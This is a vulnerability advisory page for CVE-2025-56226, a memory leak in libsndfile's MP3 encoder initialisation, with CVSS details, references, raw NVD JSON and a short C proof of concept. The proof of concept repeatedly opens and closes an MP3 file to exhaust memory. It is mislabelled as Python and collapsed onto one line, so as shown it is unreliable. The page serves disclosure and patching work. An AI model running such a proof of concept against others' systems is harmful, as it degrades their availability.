Security Vulnerability Report
中文
CVE-2025-56226 CVSS 5.3 MEDIUM

CVE-2025-56226

Published: 2026-01-14 15:15:57
Last Modified: 2026-01-21 21:21:08

Description

Libsndfile <=1.2.2 contains a memory leak vulnerability in the mpeg_l3_encoder_init() function within the mpeg_l3_encode.c file.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:libsndfile_project:libsndfile:*:*:*:*:*:*:*:* - VULNERABLE
Libsndfile <= 1.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-56226 PoC - Libsndfile mpeg_l3_encoder_init Memory Leak * This PoC demonstrates the memory leak vulnerability in Libsndfile's MP3 encoder. * Compile: gcc -o poc poc.c -lsndfile -lmp3lame -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sndfile.h> #define LEAK_ITERATIONS 1000 int main(int argc, char *argv[]) { SF_INFO sfinfo; SNDFILE *outfile; const char *output_path = "test_output.mp3"; printf("CVE-2025-56226 PoC - Libsndfile Memory Leak\n"); printf("Attempting to trigger memory leak in mpeg_l3_encoder_init()\n\n"); // Initialize SF_INFO for MP3 output memset(&sfinfo, 0, sizeof(SF_INFO)); sfinfo.samplerate = 44100; sfinfo.channels = 2; sfinfo.format = SF_FORMAT_MP3 | SF_FORMAT_PCM_16; // Trigger memory leak by repeatedly initializing MP3 encoder for (int i = 0; i < LEAK_ITERATIONS; i++) { // Open MP3 file for writing - triggers mpeg_l3_encoder_init() outfile = sf_open(output_path, SFM_WRITE, &sfinfo); if (outfile) { // Close without proper cleanup sf_close(outfile); } if (i % 100 == 0) { printf("Iteration %d/%d completed\n", i, LEAK_ITERATIONS); } } printf("\nCompleted %d iterations.\n", LEAK_ITERATIONS); printf("If memory leak exists, process RSS should have increased.\n"); printf("Check with: ps aux | grep poc\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56226", "sourceIdentifier": "[email protected]", "published": "2026-01-14T15:15:56.873", "lastModified": "2026-01-21T21:21:07.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Libsndfile <=1.2.2 contains a memory leak vulnerability in the mpeg_l3_encoder_init() function within the mpeg_l3_encode.c file."}, {"lang": "es", "value": "Libsndfile &lt;=1.2.2 contiene una vulnerabilidad de fuga de memoria en la función mpeg_l3_encoder_init() dentro del archivo mpeg_l3_encode.c."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libsndfile_project:libsndfile:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndIncluding": "1.2.2", "matchCriteriaId": "E2BEB4E1-9E0E-4FF3-B7C3-2ED9CDAACA87"}]}]}], "references": [{"url": "https://gist.github.com/Sisyphus-wang/f9e6e017b7d478bebee6e8187672abc8", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/libsndfile/libsndfile/issues/1089", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}